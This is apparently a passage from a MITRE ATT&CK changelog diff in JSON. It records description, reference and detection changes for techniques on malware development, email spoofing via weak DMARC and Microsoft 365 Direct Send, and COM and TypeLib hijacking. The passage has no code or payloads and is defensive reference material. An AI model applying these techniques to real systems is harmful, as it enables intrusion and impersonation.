(2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.\", \"url\": \"https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/\"}, \"root['external_references'][5]\": {\"source_name\": \"GamaCopy organization\", \"description\": \"Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military \\u2014 related bait to launch attacks on Russia. Retrieved June 14, 2025.\", \"url\": \"https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa\"}, \"root['external_references'][7]\": {\"source_name\": \"Olympic Destroyer\", \"description\": \"Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn\\u2019t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.\", \"url\": \"https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may develop malware and malware components that t1Adversaries may develop malware and malware components that 
>can be used during targeting. Building malicious software ca>can be used during targeting. Building malicious software ca
>n include the development of payloads, droppers, post-compro>n include the development of payloads, droppers, post-compro
>mise tools, backdoors (including backdoored images), packers>mise tools, backdoors (including backdoored images), packers
>, C2 protocols, and the creation of infected removable media>, C2 protocols, and the creation of infected removable media
>. Adversaries may develop malware to support their operation>. Adversaries may develop malware to support their operation
>s, creating a means for maintaining control of remote machin>s, creating a means for maintaining control of remote machin
>es, evading defenses, and executing post-compromise behavior>es, evading defenses, and executing post-compromise behavior
>s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita>s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita
>tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)  As>tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)  Du
> with legitimate development efforts, different skill sets m>ring malware development, adversaries may intentionally incl
>ay be required for developing malware. The skills needed may>ude indicators aligned with other known actors in order to m
> be located in-house, or may need to be contracted out. Use >islead attribution by defenders.(Citation: Olympic Destroyer
>of a contractor may be considered an extension of that adver>)(Citation: Risky Bulletin Threat actor impersonates FSB APT
>sary's malware development capabilities, provided the advers>)(Citation: GamaCopy organization)  As with legitimate devel
>ary plays a role in shaping requirements and maintains a deg>opment efforts, different skill sets may be required for dev
>ree of exclusivity to the malware.  Some aspects of malware >eloping malware. The skills needed may be located in-house, 
>development, such as C2 protocol development, may require ad>or may need to be contracted out. Use of a contractor may be
>versaries to obtain additional infrastructure. For example, > considered an extension of that adversary's malware develop
>malware developed that will communicate with Twitter for C2,>ment capabilities, provided the adversary plays a role in sh
> may require use of [Web Services](https://attack.mitre.org/>aping requirements and maintains a degree of exclusivity to 
>techniques/T1583/006).(Citation: FireEye APT29)>the malware.  Some aspects of malware development, such as C
 >2 protocol development, may require adversaries to obtain ad
 >ditional infrastructure. For example, malware developed that
 > will communicate with Twitter for C2, may require use of [W
 >eb Services](https://attack.mitre.org/techniques/T1583/006).
 >(Citation: FireEye APT29)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0872: Detection of Malware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e1c2db92-7ae3-4e6a-90b4-157c1c1565cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-03-24 16:52:14.061000+00:00", + "modified": "2025-09-24 21:03:46.869000+00:00", + "name": "Email Spoofing", + "description": "Adversaries may fake, or spoof, a sender\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \n\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\n\nAdversaries may abuse Microsoft 365\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1672", + "external_id": "T1672" + }, + { + "source_name": "Cloudflare DMARC, DKIM, and SPF", + "description": "Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.", + "url": "https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/" + }, + { + "source_name": "DMARC-overview", + "description": "DMARC. (n.d.). Retrieved March 24, 2025.", + "url": "https://dmarc.org/overview" + }, + { + "source_name": "ic3-dprk", + "description": "FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.", + "url": "https://www.ic3.gov/CSA/2024/240502.pdf" + }, + { + "source_name": "Proofpoint TA427 April 2024", + "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering" + }, + { + "source_name": "Proofpoint-DMARC", + "description": "Proofpoint. (n.d.). Retrieved March 24, 2025.", + "url": "https://www.proofpoint.com/us/threat-reference/dmarc" + }, + { + "source_name": "Barnea DirectSend", + "description": "Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365\u2019s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.", + "url": "https://www.varonis.com/blog/direct-send-exploit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Office Suite", + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-24 21:03:46.869000+00:00\", \"old_value\": \"2025-04-15 19:59:15.222000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may fake, or spoof, a sender\\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \\n\\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\\n\\nAdversaries may abuse Microsoft 365\\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)\", \"old_value\": \"Adversaries may fake, or spoof, a sender\\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \\n\\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\\n\\nAdversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\\n \\n-Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)\\n+Adversaries may abuse Microsoft 365\\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"Barnea DirectSend\", \"description\": \"Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365\\u2019s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.\", \"url\": \"https://www.varonis.com/blog/direct-send-exploit\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may fake, or spoof, a sender\u2019s identity by modift1Adversaries may fake, or spoof, a sender\u2019s identity by modif
>ying the value of relevant email headers in order to establi>ying the value of relevant email headers in order to establi
>sh contact with victims under false pretenses.(Citation: Pro>sh contact with victims under false pretenses.(Citation: Pro
>ofpoint TA427 April 2024) In addition to actual email conten>ofpoint TA427 April 2024) In addition to actual email conten
>t, email headers (such as the FROM header, which contains th>t, email headers (such as the FROM header, which contains th
>e email address of the sender) may also be modified. Email c>e email address of the sender) may also be modified. Email c
>lients display these headers when emails appear in a victim'>lients display these headers when emails appear in a victim'
>s inbox, which may cause modified emails to appear as if the>s inbox, which may cause modified emails to appear as if the
>y were from the spoofed entity.   This behavior may succeed >y were from the spoofed entity.   This behavior may succeed 
>when the spoofed entity either does not enable or enforce id>when the spoofed entity either does not enable or enforce id
>entity authentication tools such as Sender Policy Framework >entity authentication tools such as Sender Policy Framework 
>(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base>(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base
>d Message Authentication, Reporting and Conformance (DMARC).>d Message Authentication, Reporting and Conformance (DMARC).
>(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC->(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-
>overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a>overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a
>re configured properly, spoofing may still succeed when a do>re configured properly, spoofing may still succeed when a do
>main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=>main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=
>1;`. This means that while DMARC is technically present, ema>1;`. This means that while DMARC is technically present, ema
>il servers are not instructed to take any filtering action w>il servers are not instructed to take any filtering action w
>hen emails fail authentication checks.(Citation: Proofpoint >hen emails fail authentication checks.(Citation: Proofpoint 
>TA427 April 2024)(Citation: ic3-dprk)  Adversaries may abuse>TA427 April 2024)(Citation: ic3-dprk)  Adversaries may abuse
> absent or weakly configured SPF, SKIM, and/or DMARC policie> Microsoft 365\u2019s Direct Send functionality to spoof internal
>s to conceal social engineering attempts(Citation: ic3-dprk)> users by using internal devices like printers to send email
> such as [Phishing](https://attack.mitre.org/techniques/T156>s without authentication.(Citation: Barnea DirectSend) Adver
>6). They may also leverage email spoofing for [Impersonation>saries may also abuse absent or weakly configured SPF, SKIM,
>](https://attack.mitre.org/techniques/T1656) of legitimate e> and/or DMARC policies to conceal social engineering attempt
>xternal individuals and organizations, such as journalists a>s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr
>nd academics.(Citation: ic3-dprk)>e.org/techniques/T1566). They may also leverage email spoofi
 >ng for [Impersonation](https://attack.mitre.org/techniques/T
 >1656) of legitimate external individuals and organizations, 
 >such as journalists and academics.(Citation: ic3-dprk)
", + "changelog_mitigations": { + "shared": [ + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0431: Detection Strategy for Email Spoofing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 14:12:47.923000+00:00", + "modified": "2025-10-24 17:49:18.160000+00:00", + "name": "Component Object Model Hijacking", + "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/015", + "external_id": "T1546.015" + }, + { + "source_name": "Elastic COM Hijacking", + "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" + }, + { + "source_name": "GDATA COM Hijacking", + "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", + "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence" + }, + { + "source_name": "Microsoft Component Object Model", + "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", + "url": "https://msdn.microsoft.com/library/ms694363.aspx" + }, + { + "source_name": "RELIAQUEST", + "description": "RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.", + "url": "https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Elastic", + "ReliaQuest" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.160000+00:00\", \"old_value\": \"2025-04-16 20:37:20.012000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \\n\\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \\n\\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \\\"script:\\\" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\", \"old_value\": \"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \\n\\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \\n \\n-Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \\n+Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \\n+\\n+One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \\\"script:\\\" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\CLSID\\\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \\n\\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\CLSID\\\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \\n-\\n-Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"RELIAQUEST\", \"description\": \"RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.\", \"url\": \"https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/\"}, \"root['x_mitre_contributors'][1]\": \"ReliaQuest\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may establish persistence by executing malicioust1Adversaries may establish persistence by executing malicious
> content triggered by hijacked references to Component Objec> content triggered by hijacked references to Component Objec
>t Model (COM) objects. COM is a system within Windows to ena>t Model (COM) objects. COM is a system within Windows to ena
>ble interaction between software components through the oper>ble interaction between software components through the oper
>ating system.(Citation: Microsoft Component Object Model)  R>ating system.(Citation: Microsoft Component Object Model)  R
>eferences to various COM objects are stored in the Registry.>eferences to various COM objects are stored in the Registry.
>   Adversaries can use the COM system to insert malicious co>   Adversaries may use the COM system to insert malicious co
>de that can be executed in place of legitimate software thro>de that can be executed in place of legitimate software thro
>ugh hijacking the COM references and relationships as a mean>ugh hijacking the COM references and relationships as a mean
>s for persistence. Hijacking a COM object requires a change >s for persistence. Hijacking a COM object requires a change 
>in the Registry to replace a reference to a legitimate syste>in the Registry to replace a reference to a legitimate syste
>m component which may cause that component to not work when >m component which may cause that component to not work when 
>executed. When that system component is executed through nor>executed. When that system component is executed through nor
>mal system operation the adversary's code will be executed i>mal system operation the adversary's code will be executed i
>nstead.(Citation: GDATA COM Hijacking) An adversary is likel>nstead.(Citation: GDATA COM Hijacking) An adversary is likel
>y to hijack objects that are used frequently enough to maint>y to hijack objects that are used frequently enough to maint
>ain a consistent level of persistence, but are unlikely to b>ain a consistent level of persistence, but are unlikely to b
>reak noticeable functionality within the system as to avoid >reak noticeable functionality within the system as to avoid 
>system instability that could lead to detection. >system instability that could lead to detection.   One varia
 >tion of COM hijacking involves abusing Type Libraries (TypeL
 >ibs), which provide metadata about COM objects, such as thei
 >r interfaces and methods. Adversaries may modify Registry ke
 >ys associated with TypeLibs to redirect legitimate COM objec
 >t functionality to malicious scripts or payloads. Unlike tra
 >ditional COM hijacking, which commonly uses local DLLs, this
 > variation may leverage the \"script:\" moniker to execute rem
 >ote scripts hosted on external servers.(Citation: RELIAQUEST
 >) This approach enables stealthy execution of code while mai
 >ntaining persistence, as the remote payload would be automat
 >ically downloaded whenever the hijacked COM object is access
 >ed.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0481: Windows COM Hijacking Detection via Registry and DLL Load Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:41.788000+00:00", + "name": "Exploit Public-Facing Application", + "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.(Citation: Recorded Future ESXiArgs Ransomware 2023)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 